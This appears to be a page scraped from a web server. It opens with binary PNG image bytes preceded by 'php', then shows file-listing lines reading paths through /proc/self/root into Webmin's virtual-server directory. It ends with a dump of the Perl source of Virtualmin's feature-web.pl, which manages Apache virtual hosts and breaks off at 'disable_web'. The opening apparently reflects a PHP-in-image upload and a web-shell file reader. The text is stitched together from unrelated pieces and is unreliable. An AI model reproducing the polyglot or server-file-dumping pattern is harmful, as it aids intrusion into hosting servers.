php IHDR w Q )Ba pHYs sRGB gAMA a IDATxMk\U s&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨ G;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j- $_q?qS XzG'ay

| files >> /proc/self/root/usr/libexec/webmin/virtual-server/ |
| files >> //proc/self/root/usr/libexec/webmin/virtual-server/feature-web.pl |
sub init_web
{
$default_web_port = $config{'web_port'} || 80;
$writelogs_cmd = "$module_config_directory/writelogs.pl";
}
sub require_apache
{
return if ($require_apache++);
&foreign_require("apache", "apache-lib.pl");
}
# setup_web(&domain)
# Setup a virtual website for some domain
sub setup_web
{
local ($d) = @_;
local $tmpl = &get_template($d->{'template'});
local $web_port = $d->{'web_port'} || $tmpl->{'web_port'} || 80;
local ($alias, $lockdom);
if ($d->{'alias'} && $tmpl->{'web_alias'} == 1) {
&$first_print($text{'setup_webalias'});
$lockdom = $alias = &get_domain($d->{'alias'});
}
else {
&$first_print($text{'setup_web'});
$lockdom = $d;
}
&require_apache();
&obtain_lock_web($lockdom);
local $conf = &apache::get_config();
local ($f, $newfile) = &get_website_file($d);
# Add NameVirtualHost if needed
local $nvstar = &add_name_virtual($d, $conf, $web_port, 1, $d->{'ip'});
local $nvstar6;
if ($d->{'ip6'}) {
$nvstar6 = &add_name_virtual($d, $conf, $web_port, 1,
"[".$d->{'ip6'}."]");
}
# We use a * for the address for name-based servers under Apache 2,
# if NameVirtualHost * exists.
local $vips = &get_apache_vhost_ips($d, $nvstar, $nvstar6, $web_port);
# Add Listen if needed
&add_listen($d, $conf, $web_port);
local @dirs = &apache_template($tmpl->{'web'}, $d, $tmpl->{'web_suexec'});
if ($d->{'alias'} && $tmpl->{'web_alias'} == 1) {
# Update the parent virtual host (and the SSL virtual host, if any)
local @ports = ( $alias->{'web_port'} );
push(@ports, $alias->{'web_sslport'}) if ($alias->{'ssl'});
foreach my $p (@ports) {
local ($pvirt, $pconf) = &get_apache_virtual(
$alias->{'dom'}, $p);
if (!$pvirt) {
&$second_print($text{'setup_ewebalias'});
return 0;
}
local @sa = &apache::find_directive("ServerAlias", $pconf);
foreach my $dir (@dirs) {
if ($dir =~ /^\s*Server(Name|Alias)\s+(.*)/) {
push(@sa, $2);
}
}
&apache::save_directive("ServerAlias", \@sa, $pconf, $conf);
&flush_file_lines($pvirt->{'file'});
}
$d->{'alias_mode'} = 1;
# Redirect webmail and admin in the alias to Usermin and Webmin
if (&has_webmail_rewrite($d)) {
&add_webmail_redirect_directives($d, $tmpl);
}
}
else {
# Add the actual <VirtualHost>
# First build up the directives in the <VirtualHost>
local $proxying;
if ($d->{'alias'}) {
# Because this is just an alias to an existing virtual server,
# create a ProxyPass or Redirect
@dirs = grep { /^\s*Server(Name|Alias)\s/i } @dirs;
local $aliasdom = &get_domain($d->{'alias'});
local $port = $aliasdom->{'web_port'} == 80 ? "" :
":$aliasdom->{'web_port'}";
local $urlhost = "www.".$aliasdom->{'dom'};
if (!&to_ipaddress($urlhost)) {
$urlhost = $aliasdom->{'dom'};
}
local $url = "http://$urlhost$port/";
if ($apache::httpd_modules{'mod_proxy'} &&
$tmpl->{'web_alias'} == 2) {
push(@dirs, "ProxyPass / $url",
"ProxyPassReverse / $url");
$proxying = 1;
}
elsif ($tmpl->{'web_alias'} == 0) {
push(@dirs, "Redirect / $url");
}
elsif ($tmpl->{'web_alias'} == 4) {
push(@dirs, "RedirectPermanent / $url");
}
}
elsif ($d->{'subdom'}) {
# Because this is a sub-domain, force the document directory
# to be under the super-domain's public_html. Also, the logs
# must be the same as the parent domain's logs.
local $subdom = &get_domain($d->{'subdom'});
local $subdir = &public_html_dir($d);
local $mydir = &public_html_dir($d, 0, 1);
local $subcgi = &cgi_bin_dir($d);
local $mycgi = &cgi_bin_dir($d, 0, 1);
local $clog = &get_apache_log(
$subdom->{'dom'}, $subdom->{'web_port'}, 0);
local $elog = &get_apache_log(
$subdom->{'dom'}, $subdom->{'web_port'}, 1);
foreach my $dir (@dirs) {
if ($dir =~ /^\s*DocumentRoot/) {
$dir = "DocumentRoot $subdir";
}
if ($dir =~ /^\s*ScriptAlias\s+\/cgi-bin\//) {
$dir = "ScriptAlias /cgi-bin/ $subcgi/";
}
elsif ($dir =~ /^\s*<Directory\s+\Q$mydir\E>/) {
$dir = "<Directory $subdir>";
}
elsif ($dir =~ /^\s*<Directory\s+\Q$mycgi\E>/) {
$dir = "<Directory $subcgi>";
}
elsif ($dir =~ /^\s*ErrorLog/ && $elog) {
$dir = "ErrorLog $elog";
}
elsif ($dir =~ /^\s*CustomLog\s+(.*)\s+(\S+)$/ && $clog) {
$dir = "CustomLog $clog $2";
}
}
$d->{'public_html_dir'} = $subdir;
$d->{'cgi_bin_dir'} = $subcgi;
foreach my $sd ($subdir, $subcgi) {
if (!-d $sd) {
&make_dir_as_domain_user($d, $sd, 0755);
}
}
}
elsif ($d->{'public_html_path'}) {
# If a custom HTML directory was requested, set it up
local $mydir;
foreach my $dir (@dirs) {
if ($dir =~ /^\s*DocumentRoot\s+"([^"]+)"/ ||
$dir =~ /^\s*DocumentRoot\s+(\S+)/) {
$mydir = $1;
$dir = "DocumentRoot $d->{'public_html_path'}";
}
elsif ($dir =~ /^\s*<Directory\s+\Q$mydir\E>/ && $mydir) {
$dir = "<Directory $d->{'public_html_path'}>";
}
}
}
# Work out where in the file to add.
# If this domain is foo.bar.com and a virtual host for *.bar.com exists
# in the same file, we need to add before it.
local $lref = &read_file_lines($f);
local $pos = scalar(@$lref);
if ($d->{'dom'} =~ /^([^\.]+)\.(\S+)$/) {
local ($dsuffix, $dprefix) = ($1, $2);
local ($starvirt, undef) = &get_apache_virtual("*.$dprefix",
$web_port);
if ($starvirt && &same_file($starvirt->{'file'}, $f)) {
# Insert before
$pos = $starvirt->{'line'};
}
}
# Add to the file
splice(@$lref, $pos, 0, "<VirtualHost $vips>",
@dirs,
"</VirtualHost>");
&flush_file_lines($f);
$d->{'web_port'} = $web_port;
$d->{'web_urlport'} = $tmpl->{'web_urlport'};
# Create a link from another Apache dir
if ($newfile) {
&apache::create_webfile_link($f);
}
undef(@apache::get_config_cache);
# Same the HTML and CGI dirs that we set
if (!$d->{'alias'} && !$d->{'subdom'}) {
&find_html_cgi_dirs($d);
}
# Add <Proxy *> section, to ensure that proxypass works
if ($proxying) {
&add_proxy_allow_directives($d);
}
# Redirect webmail and admin to Usermin and Webmin
if (&has_webmail_rewrite($d)) {
&add_webmail_redirect_directives($d, $tmpl);
}
# For Apache 2.4+, add a "Require all granted" directive
&add_require_all_granted_directives($d, $d->{'web_port'});
# Create empty access and error log files, owned by the domain's user.
# Apache opens them as root, so it will be able to write.
local $log = &get_apache_log($d->{'dom'}, $d->{'web_port'}, 0);
local $elog = &get_apache_log($d->{'dom'}, $d->{'web_port'}, 1);
&setup_apache_logs($d, $log, $elog);
&link_apache_logs($d, $log, $elog);
$d->{'alias_mode'} = 0;
}
&create_framefwd_file($d);
&$second_print($text{'setup_done'});
®ister_post_action(\&restart_apache);
# Add the Apache user to the group for this virtual server, if missing,
# unless the template says not to.
local $web_user = &get_apache_user($d);
if ($tmpl->{'web_user'} ne 'none' && $web_user) {
&add_user_to_domain_group($d, $web_user, 'setup_webuser');
}
&$first_print($text{'setup_webpost'});
eval {
local $main::error_must_die = 1;
# Make the web directory accessible under SElinux Apache
if (&has_command("chcon")) {
local $hdir = &public_html_dir($d);
&execute_command("chcon -R -t httpd_sys_content_t ".
quotemeta($hdir));
local $cgidir = &cgi_bin_dir($d);
&execute_command("chcon -R -t httpd_sys_script_exec_t ".
quotemeta($cgidir));
local $logdir = "$d->{'home'}/logs";
&execute_command("chcon -R -t httpd_log_t ".
quotemeta($logdir));
}
# Setup the writelogs wrapper
&setup_writelogs($d);
# Create a root-owned file in ~/logs to prevent deletion of directory
local $logsdir = "$d->{'home'}/logs";
local $log = &get_apache_log($d->{'dom'}, $d->{'web_port'}, 0);
if (-d $logsdir && !-e "$logsdir/.nodelete" &&
&is_under_directory($logsdir, $log)) {
open(NODELETE, ">$logsdir/.nodelete");
close(NODELETE);
&set_ownership_permissions(0, 0, 0700, "$logsdir/.nodelete");
}
# Setup for script languages
if (!$d->{'alias'} && $d->{'dir'}) {
&add_script_language_directives($d, $tmpl,
$d->{'web_port'});
}
# Re-apply limits, so that Apache directives are updated
if (defined(&supports_resource_limits)) {
local ($ok) = &supports_resource_limits();
if ($ok) {
local $pd = $d->{'parent'} ?
&get_domain($d->{'parent'}) : $d;
local $rv = &get_domain_resource_limits($pd);
&save_domain_resource_limits($d, $rv, 1);
}
}
# Apply symlink and mod_php fixes, in case the template wasn't
# updated with them
if ($config{'allow_modphp'} ne '1' && !$d->{'alias'}) {
&fix_mod_php_security([ $d ]);
}
if ($config{'allow_symlinks'} ne '1' && !$d->{'alias'}) {
&fix_symlink_security([ $d ]);
}
# Apply template SSI setting
if ($tmpl->{'web_ssi'} == 1 && $tmpl->{'web_ssi_suffix'}) {
&save_domain_web_ssi($d, $tmpl->{'web_ssi_suffix'});
}
elsif ($tmpl->{'web_ssi'} == 0) {
&save_domain_web_ssi($d, undef);
}
};
if ($@) {
&$second_print(&text('setup_ewebpost', "$@"));
}
else {
&$second_print($text{'setup_done'});
}
# If any alias domains with web already exist, re-set them up
local @adoms = &get_domain_by("alias", $d->{'id'},
"web", 1,
"alias_mode", 1);
foreach my $ad (@adoms) {
&setup_web($ad);
}
&release_lock_web($lockdom);
}
# delete_web(&domain)
# Delete the virtual server from the Apache config
sub delete_web
{
local ($d) = @_;
&require_apache();
if ($d->{'alias_mode'}) {
# Just delete ServerAlias directives from parent
&$first_print($text{'delete_apachealias'});
local $alias = &get_domain($d->{'alias'});
&obtain_lock_web($alias);
&remove_webmail_redirect_directives($d);
local @ports = ( $alias->{'web_port'} );
push(@ports, $alias->{'web_sslport'}) if ($alias->{'ssl'});
foreach my $p (@ports) {
local ($pvirt, $pconf, $conf) = &get_apache_virtual(
$alias->{'dom'}, $p);
if (!$pvirt) {
&release_lock_web($alias);
&$second_print($text{'setup_ewebalias'});
return 0;
}
local @sa = &apache::find_directive("ServerAlias", $pconf);
@sa = grep { !/\Q$d->{'dom'}\E$/ } @sa;
&apache::save_directive("ServerAlias", \@sa, $pconf, $conf);
&flush_file_lines($pvirt->{'file'});
}
&release_lock_web($alias);
®ister_post_action(\&restart_apache);
&$second_print($text{'setup_done'});
}
elsif ($config{'delete_indom'}) {
# Delete all matching virtual servers
&$first_print($text{'delete_apache'});
&obtain_lock_web($d);
local $conf = &apache::get_config();
if (!$d->{'alias_mode'}) {
# Remove the custom Listen directive added for the domain
&remove_listen($d, $conf, $d->{'web_port'});
}
local @virt = reverse(&apache::find_directive_struct("VirtualHost",
$conf));
foreach $v (@virt) {
local $sn = &apache::find_directive("ServerName",
$v->{'members'});
local $vp = $v->{'words'}->[0] =~ /:(\d+)$/ ? $1 :
$default_web_port;
if ($sn =~ /\Q$d->{'dom'}\E$/ &&
$vp != $d->{'web_sslport'}) {
# Check if a real sub-domain corresponds to this
# virtualhost
local $real = &get_domain_by("dom", $sn);
if (!$real || $real->{'id'} == $d->{'id'}) {
&delete_web_virtual_server($v);
}
}
}
&release_lock_web($d);
®ister_post_action(\&restart_apache);
&$second_print($text{'setup_done'});
}
else {
# Just delete one virtual server
&$first_print($text{'delete_apache'});
&obtain_lock_web($d);
local $conf = &apache::get_config();
if (!$d->{'alias_mode'}) {
# Remove the custom Listen directive added for the domain
&remove_listen($d, $conf, $d->{'web_port'});
}
local ($virt, $vconf) = &get_apache_virtual($d->{'dom'},
$d->{'web_port'});
if ($virt) {
local $alog = &get_apache_log($d->{'dom'},
$d->{'web_port'}, 0);
local $elog = &get_apache_log($d->{'dom'},
$d->{'web_port'}, 1);
&delete_web_virtual_server($virt);
&$second_print($text{'setup_done'});
# Delete logs too, if outside home dir and if not a sub-domain
if ($alog && !&is_under_directory($d->{'home'}, $alog) &&
!$d->{'subdom'}) {
&$first_print($text{'delete_apachelog'});
local @dlogs = ($alog, glob("$alog.*"),
glob("$alog-*"));
if ($elog) {
push(@dlogs, $elog, glob("$elog.*"),
glob("$elog-*"));
}
&unlink_file(@dlogs);
&$second_print($text{'setup_done'});
}
®ister_post_action(\&restart_apache);
}
else {
&$second_print($text{'delete_noapache'});
}
&release_lock_web($d);
}
undef(@apache::get_config_cache);
}
# delete_web_virtual_server(&vhost)
# Delete a single virtual server from the Apache config
sub delete_web_virtual_server
{
local ($vhost) = @_;
&require_apache();
local $lref = &read_file_lines($vhost->{'file'});
splice(@$lref, $vhost->{'line'}, $vhost->{'eline'} - $vhost->{'line'} + 1);
&flush_file_lines($vhost->{'file'});
if (&is_empty($vhost->{'file'})) {
# Don't keep around empty web files
&unlink_file($vhost->{'file'});
# Delete a link from another Apache dir
&apache::delete_webfile_link($vhost->{'file'});
}
}
# clone_web(&domain, &old-domain)
# Copy all Apache directives to a new domain
sub clone_web
{
local ($d, $oldd) = @_;
&$first_print($text{'clone_web'});
if ($d->{'alias_mode'}) {
# No copying needed for web alias domains
&$second_print($text{'clone_webalias'});
return 1;
}
local ($virt, $vconf) = &get_apache_virtual($d->{'dom'}, $d->{'web_port'});
local ($ovirt, $ovconf) = &get_apache_virtual($oldd->{'dom'},
$oldd->{'web_port'});
if (!$ovirt) {
&$second_print($text{'clone_webold'});
return 0;
}
if (!$virt) {
&$second_print($text{'clone_webnew'});
return 0;
}
&obtain_lock_web($d);
# Splice across directives, fixing ServerName so that get_apache_virtual works
local $olref = &read_file_lines($ovirt->{'file'});
local $lref = &read_file_lines($virt->{'file'});
local @lines = @$olref[$ovirt->{'line'}+1 .. $ovirt->{'eline'}-1];
foreach my $l (@lines) {
if ($l =~ /^ServerName/) {
$l = "ServerName ".$d->{'dom'};
}
}
splice(@$lref, $virt->{'line'}+1, $virt->{'eline'}-$virt->{'line'}-1, @lines);
&flush_file_lines($virt->{'file'});
undef(@apache::get_config_cache);
($virt, $vconf, $conf) = &get_apache_virtual($d->{'dom'}, $d->{'web_port'});
# Fix home dir
&modify_web_home_directory($d, $oldd, $virt);
($virt, $vconf, $conf) = &get_apache_virtual($d->{'dom'}, $d->{'web_port'});
# Fix username in suexec, if needed
if ($d->{'user'} ne $oldd->{'user'}) {
&modify_web_user_group($d, $oldd, $virt, $vconf, $conf);
}
# Fix domain name in apache config
&modify_web_domain($d, $oldd, $virt, $vconf, $conf, 0);
&link_apache_logs($d);
# Remove ServerAlias directives not for this domain, such as for an alias of
# the cloned source
local @sa = &apache::find_directive("ServerAlias", $vconf);
local @newsa;
foreach my $sa (@sa) {
push(@newsa, $sa) if ($sa eq $d->{'dom'} || $sa =~ /\.\Q$d->{'dom'}\E/);
}
if (@newsa) {
&apache::save_directive("ServerAlias", \@newsa, $vconf, $conf);
&flush_file_lines($virt->{'file'});
}
# Update cached public_html and CGI dirs, re-create PHP wrappers with new home
&find_html_cgi_dirs($d);
if (defined(&create_php_wrappers)) {
&create_php_wrappers($d);
}
&release_lock_web($d);
®ister_post_action(\&restart_apache);
&$second_print($text{'setup_done'});
return 1;
}
# is_empty(&lref|file)
sub is_empty
{
local ($lref_or_file) = @_;
local $lref;
if (ref($lref_or_file)) {
$lref = $lref_or_file;
}
else {
$lref = &read_file_lines($lref_or_file, 1);
}
foreach my $l (@$lref) {
if ($l =~ /\S/) {
return 0;
}
}
return 1;
}
# modify_web(&domain, &olddomain, [&alias, &oldalias])
# If this server has changed from name-based to IP-based hosting, update
# the Apache configuration
sub modify_web
{
local $rv = 0;
&require_apache();
# Special case - converting an alias domain into a non-alias, or changing the
# alias target. Just delete and re-create.
if ($_[1]->{'alias'} != $_[0]->{'alias'}) {
&delete_web($_[1]);
&setup_web($_[0]);
return 1;
}
local $conf = &apache::get_config();
local $need_restart = 0;
if ($_[0]->{'alias'} && $_[0]->{'alias_mode'}) {
# Possibly just updating parent virtual server
if ($_[0]->{'dom'} ne $_[1]->{'dom'}) {
&$first_print($text{'save_apache5'});
local $alias = &get_domain($_[0]->{'alias'});
&obtain_lock_web($alias);
local @ports = ( $alias->{'web_port'} );
push(@ports, $alias->{'web_sslport'}) if ($alias->{'ssl'});
foreach my $p (@ports) {
local ($pvirt, $pconf) = &get_apache_virtual(
$alias->{'dom'}, $p);
if (!$pvirt) {
&$second_print($text{'setup_ewebalias'});
next;
}
local @sa = &apache::find_directive("ServerAlias",
$pconf);
foreach my $s (@sa) {
$s =~ s/\Q$_[1]->{'dom'}\E($|\s)/$_[0]->{'dom'}$1/g;
}
&apache::save_directive("ServerAlias", \@sa, $pconf,
$conf);
&flush_file_lines($pvirt->{'file'});
$rv++;
}
&$second_print($text{'setup_done'});
&release_lock_web($alias);
}
}
else {
# Update an actual virtual server
&obtain_lock_web($_[0]);
local ($virt, $vconf, $conf) = &get_apache_virtual($_[1]->{'dom'},
$_[1]->{'web_port'});
if ($_[0]->{'name'} != $_[1]->{'name'} ||
$_[0]->{'ip'} ne $_[1]->{'ip'} ||
$_[0]->{'ip6'} ne $_[1]->{'ip6'} ||
$_[0]->{'virt6'} != $_[1]->{'virt6'} ||
$_[0]->{'name6'} != $_[1]->{'name6'} ||
$_[0]->{'ssl'} != $_[1]->{'ssl'} ||
$_[0]->{'web_port'} != $_[1]->{'web_port'}) {
# Name-based hosting mode or IP has changed .. update the
# Listen directives, and the virtual host definition
&$first_print($text{'save_apache'});
if (!$virt) {
&$second_print($text{'delete_noapache'});
goto VIRTFAILED;
}
local $nvstar = &add_name_virtual($_[0], $conf,
$_[0]->{'web_port'}, 0,
$_[0]->{'ip'});
local $nvstar6;
if ($_[0]->{'ip6'}) {
$nvstar6 = &add_name_virtual(
$_[0], $conf, $_[0]->{'web_port'}, 0,
"[".$_[0]->{'ip6'}."]");
}
&add_listen($_[0], $conf, $_[0]->{'web_port'});
# Change the virtualhost IPs
local $lref = &read_file_lines($virt->{'file'});
$lref->[$virt->{'line'}] =
"<VirtualHost ".
&get_apache_vhost_ips($_[0], $nvstar, $nvstar6).
">";
&flush_file_lines($virt->{'file'});
undef(@apache::get_config_cache);
($virt, $vconf, $conf) = &get_apache_virtual($_[1]->{'dom'},
$_[1]->{'web_port'});
$rv++;
$need_restart = 1;
&$second_print($text{'setup_done'});
}
if ($_[0]->{'home'} ne $_[1]->{'home'}) {
# Home directory has changed .. update any directives that
# referred to the old directory
&$first_print($text{'save_apache3'});
if (!$virt) {
&$second_print($text{'delete_noapache'});
goto VIRTFAILED;
}
&modify_web_home_directory($_[0], $_[1], $virt, $vconf, $conf);
($virt, $vconf, $conf) = &get_apache_virtual($_[1]->{'dom'},
$_[1]->{'web_port'});
$rv++;
&find_html_cgi_dirs($_[0]);
# Re-create wrapper scripts, which contain home
if (defined(&create_php_wrappers) && !$_[0]->{'alias'}) {
&create_php_wrappers($_[0]);
}
&$second_print($text{'setup_done'});
}
if (!$_[0]->{'subdom'} && $_[1]->{'subdom'}) {
# No longer a sub-domain .. fix up any references to the old
# HTML and CGI directories, and log files
&$first_print($text{'save_apache11'});
if (!$virt) {
&$second_print($text{'delete_noapache'});
goto VIRTFAILED;
}
local $phsrc = &public_html_dir($_[1]);
local $phdst = &public_html_dir($_[0]);
local $cgisrc = &cgi_bin_dir($_[1]);
local $cgidst = &cgi_bin_dir($_[0]);
local $lref = &read_file_lines($virt->{'file'});
local $alogsrc = &get_apache_log($_[1]->{'dom'},
$_[1]->{'web_port'}, 0);
local $elogsrc = &get_apache_log($_[1]->{'dom'},
$_[1]->{'web_port'}, 1);
local $alogdst = &get_apache_template_log($_[0], 0);
local $elogdst = &get_apache_template_log($_[0], 1);
for($i=$virt->{'line'}; $i<=$virt->{'eline'}; $i++) {
if ($phsrc && $phdst) {
$lref->[$i] =~ s/\Q$phsrc\E/$phdst/g;
}
if ($cgisrc && $cgidst) {
$lref->[$i] =~ s/\Q$cgisrc\E/$cgidst/g;
}
if ($alogsrc && $alogdst) {
$lref->[$i] =~ s/\Q$alogsrc\E/$alogdst/g;
}
if ($elogsrc && $elogdst) {
$lref->[$i] =~ s/\Q$elogsrc\E/$elogdst/g;
}
}
&flush_file_lines($virt->{'file'});
undef(@apache::get_config_cache);
($virt, $vconf, $conf) = &get_apache_virtual($_[1]->{'dom'},
$_[1]->{'web_port'});
&setup_apache_logs($_[0], $alogdst, $elogdst);
&link_apache_logs($_[0], $alogdst, $elogdst);
$rv++;
&$second_print($text{'setup_done'});
}
if ($_[0]->{'alias'} && $_[2] && $_[2]->{'dom'} ne $_[3]->{'dom'}) {
# This is an alias, and the domain it is aliased to has
# changed .. update all Proxy* and Redirect directives
&$first_print($text{'save_apache4'});
if (!$virt) {
&$second_print($text{'delete_noapache'});
goto VIRTFAILED;
}
local $lref = &read_file_lines($virt->{'file'});
for($i=$virt->{'line'}; $i<=$virt->{'eline'}; $i++) {
if ($lref->[$i] =~
/^\s*(Proxy|Redirect\s|RedirectPermanent\s)/) {
$lref->[$i] =~ s/$_[3]->{'dom'}/$_[2]->{'dom'}/g;
}
}
&flush_file_lines($virt->{'file'});
undef(@apache::get_config_cache);
($virt, $vconf, $conf) = &get_apache_virtual($_[1]->{'dom'},
$_[1]->{'web_port'});
$rv++;
&$second_print($text{'setup_done'});
}
if ($_[0]->{'proxy_pass_mode'} == 1 &&
$_[1]->{'proxy_pass_mode'} == 1 &&
$_[0]->{'proxy_pass'} ne $_[1]->{'proxy_pass'}) {
# This is a proxying forwarding website and the URL has
# changed - update all Proxy* directives
&$first_print($text{'save_apache6'});
if (!$virt) {
&$second_print($text{'delete_noapache'});
goto VIRTFAILED;
}
local $lref = &read_file_lines($virt->{'file'});
for($i=$virt->{'line'}; $i<=$virt->{'eline'}; $i++) {
if ($lref->[$i] =~ /^\s*ProxyPass(Reverse)?\s/) {
$lref->[$i] =~ s/$_[1]->{'proxy_pass'}/$_[0]->{'proxy_pass'}/g;
}
}
&flush_file_lines($virt->{'file'});
undef(@apache::get_config_cache);
($virt, $vconf, $conf) = &get_apache_virtual($_[1]->{'dom'},
$_[1]->{'web_port'});
$rv++;
&$second_print($text{'setup_done'});
}
if ($_[0]->{'proxy_pass_mode'} != $_[1]->{'proxy_pass_mode'}) {
# Proxy mode has been enabled or disabled .. remove all
# ProxyPass / , ProxyPassReverse / and AliasMatch ^/$
# directives, and create new ones as appropriate.
local $mode = $_[0]->{'proxy_pass_mode'} ||
$_[1]->{'proxy_pass_mode'};
&$first_print($mode == 2 ? $text{'save_apache8'}
: $text{'save_apache9'});
if (!$virt) {
&$second_print($text{'delete_noapache'});
goto VIRTFAILED;
}
# Take out old proxy directives and block
local $lref = &read_file_lines($virt->{'file'});
local @lines = @$lref[$virt->{'line'}+1 .. $virt->{'eline'}-1];
@lines = grep { !/^\s*ProxyPass\s+\/\s/ &&
!/^\s*ProxyPassReverse\s+\/\s/ &&
!/^\s*AliasMatch\s+\^\/\.\*\$\s/ &&
!/^\s*SSLProxyEngine\s/ } @lines;
for(my $i=0; $i<@lines; $i++) {
if ($lines[$i] eq "<Proxy *>" &&
$lines[$i+2] eq "</Proxy>") {
# Take out <Proxy *> block
splice(@lines, $i, 3);
last;
}
}
# Add new directives
local @ppdirs = &apache_proxy_directives($_[0]);
push(@lines, @ppdirs);
splice(@$lref, $virt->{'line'} + 1,
$virt->{'eline'} - $virt->{'line'} - 1, @lines);
&flush_file_lines($virt->{'file'});
undef(@apache::get_config_cache);
($virt, $vconf, $conf) = &get_apache_virtual($_[1]->{'dom'},
$_[1]->{'web_port'});
$rv++;
&$second_print($text{'setup_done'});
}
if ($_[0]->{'user'} ne $_[1]->{'user'}) {
# Username has changed .. update SuexecUserGroup and User
&$first_print($text{'save_apache7'});
&modify_web_user_group($_[0], $_[1], $virt, $vconf, $conf);
$rv++;
&$second_print($text{'setup_done'});
# Set owner on log files
local $web_user = &get_apache_user($_[0]);
local $gid = $web_user && $web_user ne 'none' ? $web_user
: $_[0]->{'gid'};
local @ldv;
foreach my $ld ("ErrorLog", "TransferLog", "CustomLog") {
push(@ldv, &apache::find_directive($ld, $vconf, 1));
}
foreach my $ldv (@ldv) {
if (&safe_domain_file($_[0], $ldv)) {
&set_ownership_permissions(
$_[0]->{'uid'}, $gid, undef, $ldv);
}
}
&link_apache_logs($_[0]);
# Add the Apache user to the group for the new domain
local $tmpl = &get_template($_[0]->{'template'});
if ($tmpl->{'web_user'} ne 'none' && $web_user) {
&add_user_to_domain_group($_[0], $web_user,
'setup_webuser');
}
}
if ($_[0]->{'dom'} ne $_[1]->{'dom'}) {
# Domain name has changed .. update ServerName and ServerAlias,
# and any log files that contain the domain name
&$first_print($text{'save_apache2'});
if (!$virt) {
&$second_print($text{'delete_noapache'});
goto VIRTFAILED;
}
&modify_web_domain($_[0], $_[1], $virt, $vconf, $conf, 1);
$rv++;
# If filename contains domain name, rename the Apache .conf file
local $newfile = &get_website_file($_[0]);
local $oldfile = &get_website_file($_[1]);
if ($virt->{'file'} eq $oldfile &&
$newfile ne $oldfile &&
!-r $newfile) {
&apache::delete_webfile_link($virt->{'file'});
&rename_logged($virt->{'file'}, $newfile);
&apache::create_webfile_link($newfile);
undef(@apache::get_config_cache);
($virt, $vconf, $conf) = &get_apache_virtual(
$_[0]->{'dom'}, $_[0]->{'web_port'});
}
# Re-link Apache logs
&link_apache_logs($_[0]);
&$second_print($text{'setup_done'});
}
# If any other rename step fails becuase no <virtualhost> was found,
# the code will jump to here.
VIRTFAILED:
if ($_[0]->{'home'} ne $_[1]->{'home'}) {
# Update session dir and upload path in php.ini files
local @fixes = (
[ "session.save_path", $_[1]->{'home'}, $_[0]->{'home'}, 1 ],
[ "upload_tmp_dir", $_[1]->{'home'}, $_[0]->{'home'}, 1 ],
);
&fix_php_ini_files($_[0], \@fixes);
}
&release_lock_web($_[0]);
&create_framefwd_file($_[0]);
if ($need_restart && $rv) {
# Need a full restart
®ister_post_action(\&restart_apache, 1);
}
elsif (!$need_restart && $rv) {
# Just do a soft config apply
®ister_post_action(\&restart_apache, 0);
}
}
return $rv;
}
# validate_web(&domain)
# Returns an error message if no Apache virtual host exists
sub validate_web
{
local ($d) = @_;
if ($d->{'alias_mode'}) {
# Find alias target, unless disabled
if ($d->{'disabled'}) {
return undef;
}
local $target = &get_domain($d->{'alias'});
if ($target->{'disabled'}) {
return undef;
}
local ($pvirt, $pconf) = &get_apache_virtual($d->{'dom'},
$d->{'web_port'});
return &text('validate_eweb', "<tt>$d->{'dom'}</tt>") if (!$pvirt);
}
else {
# Find real domain
local ($virt, $vconf) = &get_apache_virtual($d->{'dom'},
$d->{'web_port'});
return &text('validate_eweb', "<tt>$d->{'dom'}</tt>") if (!$virt);
# Check IP addresses
if ($d->{'virt'}) {
local $ipp = $d->{'ip'}.":".$d->{'web_port'};
&indexof($ipp, @{$virt->{'words'}}) >= 0 ||
return &text('validate_ewebip', $ipp);
}
if ($d->{'virt6'}) {
local $ipp = "[".$d->{'ip6'}."]:".$d->{'web_port'};
&indexof($ipp, @{$virt->{'words'}}) >= 0 ||
return &text('validate_ewebip6', $ipp);
}
# If using php via CGI or fcgi, check for wrappers
local $need_suexec = 0;
local $mode = &get_domain_php_mode($d);
if ($mode ne "mod_php") {
local $dest = $mode eq "fcgid" ? "$d->{'home'}/fcgi-bin"
: &cgi_bin_dir($_[0]);
local $suffix = $mode eq "fcgid" ? "fcgi" : "cgi";
foreach my $dir (&list_domain_php_directories($d)) {
local $path = "$dest/php".
$dir->{'version'}.".$suffix";
if (!-x $path) {
return &text('validate_ewebphp',
$dir->{'version'},
"<tt>$path</tt>");
}
}
$need_suexec = 1;
}
# Validate the local PHP configuration
if ($mode ne "mod_php") {
local @dirvers = &unique(map { $_->{'version'} }
&list_domain_php_directories($d));
foreach my $ver (&list_available_php_versions($d)) {
next if (&indexof($ver->[0], @dirvers) < 0);
my $errs = &check_php_configuration(
$d, $ver->[0], $ver->[1]);
if ($errs) {
return &text('validate_ewebphpconfig',
$ver->[0], $errs);
}
}
}
# If there are suexec directives, validate them
local ($suexec) = &apache::find_directive_struct(
"SuexecUserGroup", $vconf);
local ($suuser) = &apache::find_directive_struct(
"User", $vconf);
local ($sugroup) = &apache::find_directive_struct(
"Group", $vconf);
if ($suexec) {
# Has new-style suexec
if ($suexec->{'words'}->[0] ne $_[0]->{'user'} &&
$suexec->{'words'}->[0] ne '#'.$_[0]->{'uid'}) {
return &text('validate_ewebuid',
$suexec->{'words'}->[0], $_[0]->{'uid'});
}
if ($suexec->{'words'}->[1] ne $_[0]->{'group'} &&
$suexec->{'words'}->[1] ne '#'.$_[0]->{'ugid'}) {
return &text('validate_ewebgid',
$suexec->{'words'}->[1], $_[0]->{'ugid'});
}
}
elsif ($suuser && $sugroup) {
# Has old style user and group
if ($suuser->{'words'}->[0] ne $_[0]->{'user'} &&
$suuser->{'words'}->[0] ne '#'.$_[0]->{'uid'}) {
return &text('validate_ewebuid',
$suexec->{'words'}->[0], $_[0]->{'uid'});
}
if ($sugroup->{'words'}->[1] ne $_[0]->{'group'} &&
$sugroup->{'words'}->[1] ne '#'.$_[0]->{'ugid'}) {
return &text('validate_ewebgid',
$suexec->{'words'}->[1], $_[0]->{'ugid'});
}
}
elsif ($need_suexec) {
# Has neither, but needs them!
return $text{'validate_ewebphpsuexec'};
}
# Make sure a <Directory> exists for the document root
if (!$d->{'alias'}) {
local $pdir = &public_html_dir($d);
local ($dir) = grep { $_->{'words'}->[0] eq $pdir ||
$_->{'words'}->[0] eq $pdir."/" }
&apache::find_directive_struct("Directory", $vconf);
if (!$dir) {
return &text('validate_ewebdir', $pdir);
}
}
}
return undef;
}
# disable_web(&domain)
